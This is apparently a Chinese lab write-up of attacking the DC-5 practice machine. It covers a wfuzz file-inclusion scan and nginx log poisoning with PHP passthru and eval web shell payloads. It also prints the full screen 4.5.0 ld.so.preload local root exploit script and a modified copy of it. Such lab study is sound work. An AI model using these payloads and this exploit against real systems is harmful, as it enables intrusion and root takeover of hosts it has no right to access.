DC-5 靶机渗透测试
阅读原文时间:2021年09月02日阅读:1

DC-5 靶机渗透测试

冲冲冲,好好学习 。核心:footer 文件包含漏洞,wfuzz 。收获总结写在文末。

谨记任务:找地方上传shell---> root。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.135

网络模式:NAT

netdiscover 172.66.66.0/24

nmap -A -sV -p- 172.66.66.135 -oN dc-5.nmap

dirb 没啥发现

80/111端口的contact有留言框。

尝试输入,仔细观察输入页面提交后的变化情况

每次提交内容后,copyright@年份 会发生变化,直接访问页面http://172.66.66.135/thankyou.php 也有同样效果。

尝试直接访问 footer.php页面

到这里,很大程度上说明thinkphp模板页里文件包含了footer页面。通常情况下,每使用一个模板也都会包含一个header文件和一个footer文件,在模板布局里提供了一个全局配置的方法,打开配置文件里的 LAYOUT_ON参数(默认不开启),设置布局入口文件名称 LAYOUT_NAME(默认layout)

'LAYOUT_ON'=>true,
'LAYOUT_NAME'=>'layout',

在模板文件夹下建立一个layout.html文件,代码如下下

<include file="Public:header"/>
{__CONTENT__}  #这个是特定的替换字符串,加载内容替换进来
<include file="Public:footer"/>

猜想可能有文件包含漏洞,

上wfuzz来解决:

wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://172.66.66.135/thinkyou.php?FUZZ=/etc/passwd

(感觉passwd能出来也是个巧合?)没有过滤直接就执行语句了。既然可以写进去的话,是不是可以试试用函数执行外部命令,写个一句话木马进去,再上菜刀蚁剑。

先把phpinfo()写进去,先试试,返回400,说客户端发送了个错误的请求,可能是发送成功了嘛。

再访问试试能不能显示出来 http://172.66.66.135/thankyou.php?file=/var/log/nginx/access.log

整裂开了,日志里有语法错误,加载不出来,还原一下靶机….

说明php的函数是可以实现的,换试试passthru() 执行外部命令。

GET <?php passthru($_GET['abc']); ?> HTTP/1.1

passthru直接给GET数组里加一个键abc,然后就有了可控参数了,接下来就能写shell。

写入貌似成功,传参验证一下可行否。

一个大细节,千万注意语法正确,不然日志里有php语法错误,后面的内容就加载不出来了。这里的$_GET['']用单引号。

&abc=cat%20/etc/passwd执行成功,参数可用。

GET <?php @eval($_POST['hack']);?>

http://172.66.66.135/thankyou.php?file=/var/log/nginx/access.log

连上了后查看 /root 仿佛权限不够出错了。

菜刀里打开虚拟终端(当然也可以nc反弹一个shell回来在kali上操作)

交互shell:python -c 'import pty;pty.spawn("/bin/bash")'

打开陌生shell之后要做什么?收集信息,了解当前shell的权限/可用特殊命令/系统信息等

发现一些我觉得陌生的文件/bin/screen-4.5.0、chsh、exim4

Linux screen命令用于多重视窗管理程序。

screen为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用telnet登入主机或是使用老式的终端机时,才有可能用到screen程序。

对这东西太陌生了…

经查发现,screen-4.5.0 版本有漏洞

注意这是本地权限提升,来看下poc

Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$ 

Donald Buczek <address@hidden>

EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184

散装英语翻译翻译,screen用root权限打开日志文件,然后就允许我们去截断任意文件,在任何目录创建root权限文件( ?)

本地提权,得把exp弄到靶机上,python开一下服务器。

python -m SimpleHTTPServer 9999

路径/usr/share/exploitdb/exploits/linux/local 的41154.sh

把文件放在/tmp目录下,这里谁都有权限,可以写入,新脚本,需要添加执行权限 chmod +x 41154.sh

报错了bad interpreter: No such file or directory,原因是脚本的文本格式中的换行符不一样,是windows的,需要转换成 unix的,还记得 dos2unix filename这条命令吗?执行以下 dos2unix 41154.sh

报错信息:

~ gnu/screenroot ~
[+] First, we create our shell and library...
gcc: error trying to exec 'cc1': execvp: No such file or directory
gcc: error trying to exec 'cc1': execvp: No such file or directory
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
No Sockets found in /tmp/screens/S-www-data.

./aaa.sh: line 42: /tmp/rootshell: No such file or directory

原因是找不到gcc文件

脚本执行出错了,来看看源码研究下:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

编辑了两个文件libhax.c rootshell.c ,手动拆解分开执行。单独拿出来编译好再发到靶机上就行了。

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

(警告信息没啥大问题,不影响)

分离出来后,剩下的命令另外放 dc-5.sh

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

改一下文本格式为unix之后,三个文件都传到靶机上。(libhax.so 、 rootshell、dc5.sh)

添加执行权限之后 chomd +x dc5.sh,执行./dc5.sh

提权成功。/root下flag

最后总结:

  1. 得到输入框,尝试输入,观察输入提交后页面的变化情况。

  2. wfuzz会用吗?滚去学… 看看这篇文章。 https://blog.csdn.net/JBlock/article/details/88619117

  3. nginx的日志默认路径在哪?

    访问日志:/usr/local/nginx/logs/access.log 或者 /var/log/nginx/access.log

    错误日志:/usr/loacl/nginx/logs/error.log 或者/var/log/nginx/error.log

    访问日志中会记录什么内容?

客户端IP、浏览器信息、referer、请求处理时间、原始请求URL等,一般这些都有,可以记录更加具体的信息,通过 log_format指令定义(可选)。

可选的有:

$butes_sent (发送给客户端的总字节数)

$body_bytes_sent(发送给客户端的字节数,不包括响应头的大小)

$connection(连接序列号)

$connection_requests(当前通过连接发出的请求数量)

$msec(日志写入时间,单位为秒,精度是毫秒)

$pipe(如果请求是通过http流水线发送,则其值为"p",否则为“.")

$request_length(请求长度(包括请求行,请求头和请求体))

$request(完整的原始请求行,如 "GET / HTTP/1.1")

$remote_addr(客户端IP)

$http_referer(请求的referer地址。)

还有很多很多,剩下的去百度..


php默认错误日志文件路径:/var/log/php-fpm/www-errot.log

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章